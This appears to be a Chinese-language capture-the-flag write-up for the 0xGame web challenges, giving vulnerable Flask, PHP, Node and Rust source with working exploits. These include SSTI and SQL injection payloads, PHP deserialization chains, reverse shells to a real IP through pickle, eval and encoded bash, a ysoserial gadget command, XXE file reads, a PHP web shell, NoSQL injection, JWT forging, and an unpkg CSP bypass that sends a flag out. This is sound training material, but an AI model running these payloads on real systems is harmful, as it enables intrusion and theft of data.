0xGame
Round1
ez_rce
原始碼:
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route("/")
def index():
return open(__file__).read()
@app.route("/calc", methods=['POST'])
def calculator():
expression = request.form.get('expression') or "114 1000 * 514 + p"
result = subprocess.run(
["dc", "-e", expression],
capture_output=True,
text=True
)
return result.stdout
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8000)
ez_sql
sqlite資料庫
sqlite_master特殊表,儲存
?id=0 union select 1,2,3,4,sql from sqlite_master;
?id=0 union select 1,2,3,4,flag from flag;
ez_ssti
原始碼:
from flask import Flask, request, render_template, render_template_string
import os
app = Flask(__name__)
flag=os.getenv("flag")
os.unsetenv("flag")
@app.route('/')
def index():
return open(__file__, "r").read()
@app.errorhandler(404)
def page_not_found(e):
print(request.root_url)
return render_template_string("<h1>The Url {} You Requested Can Not Found</h1>".format(request.url))
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
這裡為了不被fenjing梭了,使用瞭如下操作,這裡unsetenv只會把環境變數裡的flag刪掉,但是不會刪掉flag這個變數
flag=os.getenv("flag")
os.unsetenv("flag")
我們需要從拿到當前模組也就是__main__然後就能拿flag,__main__.flag
這裡主要就是怎麼拿__main__,可以透過拿sys模組,sys模組裡有全部被匯入的模組
{{x.__init__.__globals__['__builtins__']["__import__"]('sys').modules['__main__'].flag}}
ez_unser
原始碼:
<?php
highlight_file(__FILE__);
class Man{
private $name="原神,啟動";
public function __wakeup()
{
echo str_split($this->name);
}
}
class What{
private $Kun="兩年半";
public function __toString()
{
echo $this->Kun->hobby;
return "Ok";
}
}
class Can{
private $Hobby="唱跳rap籃球";
public function __get($name)
{
var_dump($this->Hobby);
}
}
class I{
private $name="Kobe";
public function __debugInfo()
{
$this->name->say();
}
}
class Say{
private $evil;
public function __call($name, $arguments)
{
$this->evil->Evil();
}
}
class Mamba{
public function Evil()
{
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;
}
}
class Out{
public function __call($name,$arguments)
{
$o = "./".str_replace("..", "第五人格",$_POST["o"]);
$n = $_POST["n"];
rename($o,$n);
}
}
unserialize($_POST["data"]);
__debugInfo(): 當透過var_dump() 列印物件時該函式就會被呼叫
第一條鏈子寫木馬檔案呼叫到Mamba::Evil()
<?php
class Man{
private $name;
public function __construct()
{
$this->name=new What();
}
}
class What{
private $Kun="兩年半";
public function __construct(){
$this->Kun = new Can();
}
}
class Can{
private $Hobby="唱跳rap籃球";
public function __construct(){
$this->Hobby = new I;
}
}
class I{
private $name="Kobe";
public function __construct(){
$this->name=new Say();
}
}
class Say{
private $evil;
public function __call($name, $arguments)
{
$this->evil->Evil();
}
}
class Mamba{
public function Evil()
{
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;
}
}
class Out{
public function __call($name,$arguments)
{
$o = "./".str_replace("..", "第五人格",$_POST["o"]);
$n = $_POST["n"];
rename($o,$n);
}
}
$man=new Man();
echo urlencode(serialize($man));
第二條更改檔名字,呼叫到Out::__call
<?php
class Man{
private $name;
public function __construct()
{
$this->name=new What();
}
}
class What{
private $Kun="兩年半";
public function __construct(){
$this->Kun = new Can();
}
}
class Can{
private $Hobby="唱跳rap籃球";
public function __construct(){
$this->Hobby = new I;
}
}
class I{
private $name="Kobe";
public function __construct(){
$this->name=new Out();
}
}
class Say{
private $evil;
public function __call($name, $arguments)
{
$this->evil->Evil();
}
}
class Mamba{
public function Evil()
{
$filename=time().".log";
file_put_contents($filename,$_POST["content"]);
echo $filename;
}
}
class Out{
public function __call($name,$arguments)
{
$o = "./".str_replace("..", "第五人格",$_POST["o"]);
$n = $_POST["n"];
rename($o,$n);
}
}
$man=new Man();
echo urlencode(serialize($man));
Round2
baby_pe
算pin碼
suid提權
find / -name flag
find: ‘/find’: No such file or directory
/root/flag
find: ‘/proc/1/task/1/fdinfo’: Permission denied
find: ‘/proc/1/map_files’: Permission denied
find: ‘/proc/1/fdinfo’: Permission denied
find: ‘/proc/7/task/7/fdinfo’: Permission denied
find: ‘/proc/7/task/8/fdinfo’: Permission denied
find: ‘/proc/7/task/27/fdinfo’: Permission denied
find: ‘/proc/7/map_files’: Permission denied
find: ‘/proc/7/fdinfo’: Permission denied
find: ‘/proc/28/task/28/fdinfo’: Permission denied
find: ‘/proc/28/map_files’: Permission denied
find: ‘/proc/28/fdinfo’: Permission denied
find: ‘/proc/31/task/31/fdinfo’: Permission denied
find: ‘/proc/31/map_files’: Permission denied
find: ‘/proc/31/fdinfo’: Permission denied
find: ‘/proc/32/task/32/fdinfo’: Permission denied
find: ‘/proc/32/map_files’: Permission denied
find: ‘/proc/32/fdinfo’: Permission denied
/flag
找到flag位置
baby_pickle
原始碼:
import pickle
from flask import Flask, request
from base64 import b64decode
app = Flask(__name__)
UserPool = {}
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']
class User:
username = None
password = None
@app.route('/')
def index():
return open(__file__).read()
@app.route('/login', methods=['POST'])
def login():
data = request.form.get('data')
if data is not None:
opcode = b64decode(data)
for word in BlackList:
if word in opcode:
return "Hacker!"
user = pickle.loads(opcode)
print(user)
return "<h1>Hello {}</h1>".format(user.username)
else:
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys() and password == UserPool[username].password:
return "<h1>Hello {}</h1>".format(User.username)
@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys():
return "<h1>使用者{}已存在</h1>".format(username)
UserPool[username] = password
return "<h1>註冊成功</h1>"
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
Payload:
import pickle
import pickletools
opcode=b'''c__builtin__
eval
(S'__import__("pty").spawn([\'bash\',\'-c\',\'bash -i >& /dev/tcp/175.27.229.115/2333 0>&1\'])'
tR.
'''
pickletools.dis(opcode)
result = pickle.loads(opcode)
print(result)
print(base64.b64encode(opcode).decode())
builtins.evel代替os.system,pty.spawn代替os.system
baby_ssrf
原始碼:
from flask import Flask, request
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
app = Flask(__name__)
BlackList=[
"127.0.0.1"
]
@app.route('/')
def index():
return open(__file__).read()
@app.route('/cmd',methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden"
if request.method == "GET":
return "Hello World!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()
@app.route('/visit')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "Hacker!"
result = subprocess.run(["curl","-L", urlunparse(url)], capture_output=True, text=True)
# print(result.stderr)
return result.stdout
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8000)
urlparse方法解析url
from urllib.parse import urlparse
result=urlparse('http://www.baidu.com/index.html;user?id=5#comment')
print(type(result),result)
#########
<class 'urllib.parse.ParseResult'> ParseResult(scheme='http', netloc='www.baidu.com', path='/index.html', params='user', query='id=5', fragment='comment')
這裡提供cmd路由,要求必須是127.0.0.0
還提供了visit路由存在ssrf漏洞,我們可以透過gopher發POST包,然後需要繞過127.0.0.1,使用0或者127.1或者0.0.0.0可以繞過
先偽造cmd命令,必須有的是CT頭和CL頭,注意CL頭的長度要正確
然後gopher發包,使用0.0.0.0繞過127.0.0.1成功欺騙成127.0.0.1訪問
baby_xxe
原始碼:
from flask import Flask,request
import base64
from lxml import etree
app = Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/parse',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "None"
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None
if __name__=="__main__":
app.run(host='0.0.0.0',port=8000)
load_dtd=True表示允許載入 DTD,name=root.find('name').text表示根元素裡必須有name子元素
有回顯且無過濾只要滿足子元素是name就可以,直接讀檔案,burpsuite進行url編碼
<?xml version="1.0"?>
<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY ddd SYSTEM "file:///etc/passwd">
]>
<test><name>&ddd;</name></test>
hello_shell
原始碼:
<?php
highlight_file(__FILE__);
$cmd = $_REQUEST['cmd'] ?? 'ls';
if (strpos($cmd, ' ') !== false) {
echo strpos($cmd, ' ');
die('no space allowed');
}
@exec($cmd); // 沒有回顯怎麼辦?
考的是無回顯RCE,可以進行mv操作
?cmd=mv%09/flag%091.txt
但是不知道flag位置,或者是沒有許可權,最好是彈shell
%09或者${IFS}繞過空格,使用{echo,base64編碼}|{base64,-d}|{bash,-i}避免產生歧義
bash%09-c%09'{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzUuMjcuMjI5LjExNS8yMzMzIDA%2bJjE%3d}|{base64,-d}|{bash,-i}'
沒有讀根目錄的許可權,嘗試suid提權
find / -user root -perm -4000 -print 2>/dev/null
當前目錄存在wc,所以應該是wc提權
LFILE=/flag
./wc --files0-from "$LFILE"
這裡輸出報錯資訊是因為 wc
命令本身並不會顯示檔案的內容,而是輸出統計資訊,而當發生錯誤時,檔案內容會出現在訊息中,所以可以透過檢視報錯資訊來檢視檔案內容
picture
pht字尾繞過php檢測,圖片馬裡用<?=eval($_POST["cmd"]);?>
Round3
Next.db
原始碼:
import { MongoClient } from 'mongodb';
const uri = process.env.MONGODB_URI || "mongodb://127.0.0.1:27017/";
const client = new MongoClient(uri);
export default async function handler(req, res) {
if (req.method !== 'POST') {
return res.status(405).json({ message: 'Method not allowed' });
}
const { name } = req.body;
if (!name) {
return res.status(500).json({ message: 'Name is required' });
}
if (name === "flag") {
return res.status(500).json({ message: 'You are not allowed to search for the flag' });
}
try {
const db = client.db('next-db');
const collection = db.collection('frameworks');
const results = await collection.find({
$or: [
{ name },
{
$and: [
{ description: { $regex: name.toString(), $options: 'i' } },
{ description: { $ne: process.env.FLAG || "flag{test}" } }
]
}
]
}).toArray();
res.status(200).json(results);
} catch (error) {
console.error('Database query error:', error);
res.status(500).json({ message: 'Internal Server Error' });
}
}
它提示MongoDB,所以是Nosql的題目
永真式能得到全部資料,這裡本來想做個驗證,沒想到直接出了,就考這個嗎?
{
"name": {
"$ne": 1
}
}
以下是預期解:
第⼆段程式碼在查詢語句⾥⾯, 可以看到精確匹配的時候直接使⽤了 name, ⽽模糊匹配時卻使⽤了 name.toString(), 這⾥其實也在暗⽰⼤家 name 變數的型別可能不⼀定是字串
我們可以給 name 變數傳⼊⼀個陣列或物件
// 傳⼊陣列 (Array)
{
"name": [1, 2, 3]
}
// 傳⼊物件 (Object)
{
"name": {"a": "b"}
}
這裡Payload就是利用$eq運算子構造出name==flag
{
"name": {"$eq": "flag"} // 在 MongoDB 中查詢 name == flag 的內容
}
hello_jwt
獲取兩個hint,一個是無金鑰,一個是已知金鑰,最後得到資訊:金鑰不長且都是小寫字母,相當於已知字符集
所以就可以使用c-jwt-crack進行爆破了
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEiLCJyb2xlIjoiZ3Vlc3QifQ.IPy5S15HFohAfuc9bh7Nii22d5ijKlVZ_31KrAJLQaM abcdefghijklmnopqrstuvwxyz
然後偽造jwt,訪問/flag就行了
import jwt
token = jwt.encode(
{
"username": "a",
"role": "admin",
},
key="zrajz",algorithm="HS256").encode(encoding='utf-8')
print(token)
WhySoSerial
jadx反編譯在pom.xml發現使用了commons-collections3.2.1
直接拿工具梭的
有不同gadget
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzUuMjcuMjI5LjExNS8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"|base64
cargo_shop
提示:i32 和 u32 有什麼區別呢?
主要區別:
符號:
-
i32
可以表示正數和負數。-
u32
只能表示非負整數(0 或正數)。範圍:
-
i32
的範圍是-2,147,483,648
到2,147,483,647
。-
u32
的範圍是0
到4,294,967,295
。
計算花銷的邏輯是:let costs = (goods.price * count) as i32;
count傳入的邏輯是u32,如果讓costs為負值呢,測試後無果,但是還有一個思路,使用超出i32範圍的數字造成整數溢位
然後就能買flag了
paste_bin
考點:XSS和CSP繞過
提示:
關注前端的 HTML, JS 和後端的 src/bot.rs 即可, 其它程式碼不重要
什麼是 Content-Security-Policy?
嘗試將 payload 塞到 iframe 標籤的 srcdoc 屬性裡面
unpkg 和 jsdelivr 是什麼? 有什麼用?
題目給了全部原始碼
let js = format!("localStorage.setItem('flag', '{}');", flag);
這裡指定flag在localStorage
裡面
CSP是這樣的
base-uri 'none'; style-src 'unsafe-inline'; script-src 'self' 'sha256-mDsn/yxO0Kbxaggx7bFdeBmrC22U6cePGEUeeSwO+n0=' cdn.tailwindcss.com unpkg.com cdn.jsdelivr.net;
僅寫成了unpkg.com,沒有指定是unpkg.com/xxx
所以我們可以將xxx為自己的庫,庫裡寫上惡意程式碼,讓其載入我們庫裡的惡意程式碼
npm login登入自己的npm庫https://www.npmjs.com
程式碼寫好npm init(一直回車預設就行)
然後npm publish就行了
https://unpkg.com/m1xian@1.0.0/index.js
對應自己的npm庫https://www.npmjs.com/package/m1xian
exp.js
let flag = localStorage.getItem('flag');
location.href = 'http://vps_ip:2333/?flag=' + flag;
結果沒拿到??沒找到原因
Round 4
basic_flask
原始碼:
from flask import Flask, request
import json
app = Flask(__name__)
'''
'''
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Dst():
def __init__(self):
pass
dst = Dst()
@app.route('/',methods=['GET','POST'])
def index():
if request.method=='GET':
return open("main.py").read()
merge(request.get_json(), dst)
return "Success"
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
汙染靜態目錄為根目錄。然後讀flag
讀flag
basic_pwn
原始碼:
from flask import Flask, request
app = Flask(__name__)
functions=globals()['__builtins__'].__dict__
@app.route('/', methods=['GET'])
def index():
return open(__file__).read()
@app.route('/pwn',methods=['POST'])
def pwn():
stack = []
stack.append('print')
name=request.get_json().get("name")
if not name:
return "Fail"
stack.extend(name)
args=stack.pop()
func=stack.pop()
functions[func](args)
return "Success"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
和pwn沒啥關係,很簡單
直接上Payload
{
"name": [
"eval",
"__import__(\"os\").popen(\"bash -c 'bash -i >& /dev/tcp/175.27.229.115/2333 0>&1'\").read()"
]
}
彈shell
flag在env裡
Jenkins
網上有exp,沒啥意思
MySQL 客⼾端任意⽂件讀取
https://github.com/rmb122/rogue_mysql_server
將此工具下載解壓到vps上,然後file_list
里加上/flag
database填/flag,沒搞懂為什麼
./rogue_mysql_server
啟動mysql伺服器
然後在loot資料夾裡拿到讀取的flag